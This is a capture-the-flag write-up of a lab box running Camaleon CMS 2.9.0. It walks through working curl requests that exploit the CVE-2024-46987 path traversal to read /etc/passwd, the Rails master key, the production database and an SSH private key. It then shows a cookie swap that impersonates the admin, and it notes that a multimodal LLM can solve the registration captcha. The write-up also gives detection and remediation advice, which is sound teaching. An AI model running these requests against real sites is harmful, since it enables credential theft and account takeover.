Overview
Facts is a medium Linux box running Camaleon CMS 2.9.0 on Rails 8.0.2. The attack chain is almost entirely application-layer: a path traversal vulnerability (CVE-2024-46987) in the media download endpoint allows reading arbitrary files as the Rails process user. This single primitive cascades into full application compromise: the Rails master key decrypts the secret_key_base, the SQLite database exposes admin authentication tokens, and Camaleon’s cookie validation design allows direct admin impersonation by swapping a cookie value.
The box demonstrates how a single file-read vulnerability, when applied methodically against a Rails application, can compromise every layer of the application’s security model.
Reconnaissance
nmap -sV -sC -oA scans/facts 10.129.13.208
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 9.9p1 Ubuntu | Standard SSH |
| 80 | HTTP | nginx 1.26.3 | Redirects to facts.htb |
Two services. HTTP redirects to facts.htb. Response headers reveal the stack:
a plugin_front_cache: TRUE header is a Camaleon CMS fingerprint, and the
cookie name _factsapp_session confirms a Rails application. The admin panel
at /admin/login confirms Camaleon CMS.
Attack Surface Analysis
User registration
Camaleon CMS exposes a public registration form at /admin/register protected
by a five-character image captcha. Registration creates a client-role account
with access to the media browser and download endpoints. The captcha is simple
distorted text readable by a multimodal LLM.
Session continuity matters: the captcha answer is stored server-side against the session cookie. The CSRF token, captcha image, and registration POST must share the same session. Breaking this chain causes validation failures.
CVE triage
Camaleon CMS 2.9.0 is affected by the GHSL-2024-182 through GHSL-2024-186 advisory bundle. Two CVEs are relevant:
| CVE | Type | Status on this box |
|---|---|---|
| CVE-2024-46986 | Arbitrary file write | Patched |
| CVE-2024-46987 | Arbitrary file read | Vulnerable |
The file write vulnerability (CVE-2024-46986) was tested first. Directory traversal in the upload endpoint is blocked server-side. The file read vulnerability, however, is fully exploitable.
Vulnerability Analysis
CVE-2024-46987: arbitrary file read
| Attribute | Value |
|---|---|
| CVE | CVE-2024-46987 |
| CWE | CWE-22 (Path Traversal) |
| Root cause | download_private_file prepends private/ to user input without path normalisation |
| Auth required | Any authenticated user (including self-registered) |
The MediaController#download_private_file method:
def download_private_file
cama_uploader.enable_private_mode!
file = cama_uploader.fetch_file("private/#{params[:file]}")
send_file file, disposition: 'inline'
end
The private/ prefix is trivially escaped with ../../../../../../. Any file
readable by the trivia system user (the Rails process owner) can be
exfiltrated. No path normalisation is applied before send_file.
Authentication design flaw
Camaleon’s session architecture has a critical weakness. On login, the
application sets an auth_token cookie containing the user’s database token,
User-Agent, and IP address separated by &. On each request, the validation
code:
- Checks that the cookie value splits into exactly three parts on
& - Looks up the first part in the
cama_userstable - Returns the matching user
It does not validate the User-Agent or IP address against the current request.
These values are stored but never compared. Any user who obtains another user’s
auth_token from the database can impersonate them.
Exploitation
Step 1: registration and file read
After registering a client account, the file read primitive is immediately available:
curl -s -b "$COOKIES" \
"http://facts.htb/admin/media/download_private_file?file=\
../../../../../../etc/passwd"
Two interactive users confirmed: trivia (uid 1000, runs the Rails app) and
william (uid 1001, owns the user flag).
Step 2: Rails master key and credentials
# Master key
curl -s -b "$COOKIES" \
"http://facts.htb/admin/media/download_private_file?file=\
../../../../../../proc/self/cwd/config/master.key"
# Returns: b0650437b2208a9fab449fb92f67bc40
# Encrypted credentials
curl -s -b "$COOKIES" \
"http://facts.htb/admin/media/download_private_file?file=\
../../../../../../proc/self/cwd/config/credentials.yml.enc"
Rails encrypts credentials.yml.enc using ActiveSupport::MessageEncryptor
with a key derived from the master key. Decryption produces the
secret_key_base, which allows forging any Rails-signed data: session cookies,
CSRF tokens, and message verifier outputs.
Step 3: SQLite database extraction
curl -s -b "$COOKIES" \
"http://facts.htb/admin/media/download_private_file?file=\
../../../../../../proc/self/cwd/storage/production.sqlite3" \
-o production.sqlite3
The cama_users table contains:
| username | role | auth_token |
|---|---|---|
| admin | admin | 1QGOA6YxgFANPE6XlGYPpg |
The admin’s bcrypt hash uses cost factor 12. Cracking it is possible but
unnecessary: the auth_token is the faster path.
Step 4: user flag via direct file read
curl -s -b "$COOKIES" \
"http://facts.htb/admin/media/download_private_file?file=\
../../../../../../home/william/user.txt"
User flag captured.
Step 5: admin impersonation via auth token forgery
The authentication design flaw makes admin access trivial once the database
token is known. I replace the auth_token cookie value, swapping my client
token for the admin token:
sed -i 's/CLIENT_TOKEN/1QGOA6YxgFANPE6XlGYPpg/' cookies.txt
curl -b cookies.txt http://facts.htb/admin/users # 200 OK
curl -b cookies.txt http://facts.htb/admin/plugins # 200 OK
Full admin access to user management, plugin configuration, and theme editing.
Post-Exploitation
SSH key extraction
The file read also yields trivia’s SSH private key:
curl -s -b "$COOKIES" \
"http://facts.htb/admin/media/download_private_file?file=\
../../../../../../home/trivia/.ssh/id_ed25519"
The key is encrypted with AES-256-CTR and bcrypt KDF (24 rounds). The low round count makes passphrase cracking feasible with a targeted wordlist. This would provide SSH access as the Rails process user.
Infrastructure intelligence
Files read via the path traversal reveal the full application architecture:
| File | Intelligence |
|---|---|
| Gemfile | Rails 8.0.2, Camaleon CMS 2.9.0 |
| config/database.yml | SQLite at storage/production.sqlite3 |
| systemd/factsapp.service | Runs as trivia, binds 127.0.0.1:3000 |
| systemd/ministack.service | Root-owned service (privesc target) |
The ministack.service running as root from /root/ministack/staging/start.sh
is the likely privilege escalation target once a shell is obtained.
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial access | T1190 | Path traversal sequences in media download requests |
| Collection | T1005 | Bulk file reads via download_private_file |
| Credential access | T1552.001 | Reads of config/master.key, credentials.yml.enc |
| Privilege escalation | T1134 | auth_token cookie modification between requests |
Application-level: WAF rules should block ../ sequences in query
parameters. Request logging for the download_private_file endpoint would
reveal the traversal pattern immediately.
Host-level: The Rails process reading its own config/master.key is
normal. The anomaly is the read pattern: master.key, then
credentials.yml.enc, then production.sqlite3 in rapid succession from the
same session. Correlation across reads reveals the attack.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Patch CVE-2024-46987 (path normalisation) | Low | Critical |
| P1 | Validate User-Agent and IP in auth_token cookie | Medium | High |
| P1 | Move master.key to environment variable | Low | High |
| P1 | Run Rails under a dedicated service account | Medium | High |
| P2 | Implement server-side session store | Medium | Medium |
| P2 | Rate-limit the captcha endpoint | Low | Medium |
| P3 | Add Content-Security-Policy headers | Low | Low |
The path traversal fix is straightforward: resolve the path with
File.expand_path and verify it stays within the intended upload directory.
The authentication design is a deeper problem. Storing a database token in a
client-readable cookie and using it as the sole authentication factor, without
validating any of the additional context stored alongside it, is a design flaw
that enables impersonation from any position with database read access.
Key Takeaways
-
A single file-read primitive can compromise an entire Rails application. The master key decrypts credentials, credentials expose the secret_key_base, and the database exposes authentication tokens. Each file read escalates the attacker’s capability.
-
Storing tokens without validating context is not authentication. The auth_token cookie contains User-Agent and IP, but neither is verified. They are decorative. Authentication that can be replayed by copying a value from the database is not authentication.
-
/proc/self/cwdbypasses unknown application paths. When the application’s filesystem location is unknown,/proc/self/cwdresolves to the working directory of the current process. This eliminates guesswork for application-relative file reads. -
The file write vulnerability was patched; the file read was not. Partial patching creates false confidence. The deployment applied fixes for CVE-2024-46986 but left CVE-2024-46987 open. Both are in the same advisory bundle. Security patches should be applied comprehensively.
-
Captcha is not an authentication boundary. The captcha protects registration, but registration creates accounts with access to the vulnerable endpoint. A five-character distorted text captcha is not a meaningful barrier against a motivated attacker.